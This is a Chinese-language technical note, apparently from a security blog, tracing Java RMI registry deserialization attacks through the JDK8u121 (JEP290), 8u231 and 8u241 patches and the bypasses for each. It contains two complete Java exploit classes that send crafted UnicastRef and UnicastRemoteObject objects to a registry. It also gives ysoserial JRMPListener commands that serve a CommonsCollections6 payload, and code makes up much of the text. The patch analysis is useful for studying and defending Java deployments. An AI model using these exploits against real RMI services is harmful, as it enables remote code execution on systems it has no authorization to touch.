参考:
https://halfblue.github.io/2021/11/03/RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B9%8B%E4%B8%89%E9%A1%BE%E8%8C%85%E5%BA%90-JEP290%E7%BB%95%E8%BF%87/
前言 以下的修复全部都是针对前述攻击手法中的lookup bind 攻击注册中心
,因为这个相比于其他更容易利用:只要开放了服务即可被利用。method hash那个利用条件是知道远程接口的参数类型且类型不为基础类型;服务端攻击客户端场景不常见。
第一次修复(JEP290)与绕过 修复 JDK8u121
1、checkAccess,要求注册中心和服务端都在一台机上。
2、在RegistryImpl_Skel
中配置了白名单,也就是说lookup和bind传过去的对象只能是白名单里的。
handleMessages serviceCall UnicastServerRef#dispatch oldDispatch RegistryImpl_Skel#dispatch //客户端/服务端攻击注册中心 case 0: // bind(String, Remote) case 1: // list() case 2: // lookup(String) //白名单添加在这里 in.readObject(); // 对lookup的参数进行反序列化。客户端攻击服务端 case 3: // rebind(String, Remote) case 4: // unbind(String)
3、DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验,内容如下:
return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED;
绕过 绕过的调用栈
Reigstry_Skel#dispatch // 1. readObject UnicastRef#readExternal LiveRef#read ConnectionInputStream#saveRef //修改incomingRefTable,使之不为空 // 2.releaseInputStream StreamRemoteCall#releaseInputStream //有个if,需要incomingRefTable不为空才能进入 ConnectionInputStream#registerRefs DGCClient#registerRefs DGCClient$EndPointEntry#lookup DGCClient$EndPointEntry 构造函数 RenewCleanThread#run makeDirtyCall DGCImpl_Stub#dirty readObject
监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 calc
exp
public class JRMPRegistryExploit { public static void main(String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099); lookup(registry); } public static void lookup(RegistryImpl_Stub registry) throws Exception { Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(registry); Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")}; RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(genEvilJRMPObj()); ref.invoke(var2); } private static Object genEvilJRMPObj() { LiveRef liveRef = new LiveRef(new ObjID(), new TCPEndpoint("127.0.0.1", 7777), false); UnicastRef unicastRef = new UnicastRef(liveRef); return unicastRef; } }
第二次修复与绕过 JDK8u231
修复 Reigstry_Skel#dispatch // 第一处修复 // 由于readObject一定会触发异常,所以在catch处清空incomingRefTable,使之为空。 // 1. readObject UnicastRef#readExternal LiveRef#read ConnectionInputStream#saveRef //修改incomingRefTable,使之不为空 // 2.releaseInputStream StreamRemoteCall#releaseInputStream //有个if,需要incomingRefTable不为空才能进入 ConnectionInputStream#registerRefs DGCClient#registerRefs DGCClient$EndPointEntry#lookup DGCClient$EndPointEntry 构造函数 RenewCleanThread#run makeDirtyCall DGCImpl_Stub#dirty //第二处修复 //在这里添加了过滤,多了一个setObjectInputFilter,使得readObject受限 readObject
绕过
而如果想实现攻击,要满足几个条件: 1、找到一处不受限制的反序列化 2、白名单类可以通过反序列化触发上述不受限的反序列化 3、触发点就在readObject中
调用栈
Reigstry_Skel#dispatch UnicastRemoteObject#readObject reexport ... TCPTransport#listen TCPEndPoint#newServerSocket RemoteObjectInvocationHandler#invoke RemoteObjectInvocationHandler#invokeRemoteMethod UnicastRef#invoke executeCall //发送JRMP请求,然后对返回结果readObject
exp
public class UnicastRemoteObjectExploit { public static void main(String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099); exploit(registry,"127.0.0.1",7777); } private static void exploit(RegistryImpl_Stub registry,String host,int port) throws Exception { UnicastRemoteObject unicastRemoteObject = getObj(host,port); Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(registry); Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")}; RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" ); f.setAccessible( true ); f.set( var3, false ); var3.writeObject(unicastRemoteObject); ref.invoke(var2); } private static UnicastRemoteObject getObj(String host,int port) throws Exception{ LiveRef liveRef = new LiveRef(new ObjID(7777), new TCPEndpoint(host,port), false); UnicastRef ref = new UnicastRef(liveRef); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref); RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(), new Class[]{RMIServerSocketFactory.class, Remote.class},remoteObjectInvocationHandler ); Constructor RemoteObjectConstructor = RemoteObject.class.getDeclaredConstructor(RemoteRef.class); RemoteObjectConstructor.setAccessible(true); Constructor<?> unicastRemoteObjectConstructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(UnicastRemoteObject.class, RemoteObjectConstructor); UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) unicastRemoteObjectConstructor.newInstance(new UnicastRef(liveRef)); Field ssfField = unicastRemoteObject.getClass().getDeclaredField("ssf"); ssfField.setAccessible(true); ssfField.set(unicastRemoteObject,rmiServerSocketFactory); return unicastRemoteObject; } }
监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 calc
最后修复 JDK8u241
Reigstry_Skel#dispatch // 第一处,这个位置的readObject变成readString UnicastRemoteObject#readObject reexport ... TCPTransport#listen TCPEndPoint#newServerSocket RemoteObjectInvocationHandler#invoke RemoteObjectInvocationHandler#invokeRemoteMethod // 第二处 UnicastRef#invoke executeCall //发送JRMP请求,然后对返回结果readObject unmarshalValue //第三处,当调用方法参数类型为String时,由原本的readObject变为readString readObject
第二处修复在RemoteObjectInvocationHandler#invokeRemoteMethod
中多加了一个if。
此时攻击服务端的唯一手段就是知道远程接口的参数类型,且类型不为基础类型和String。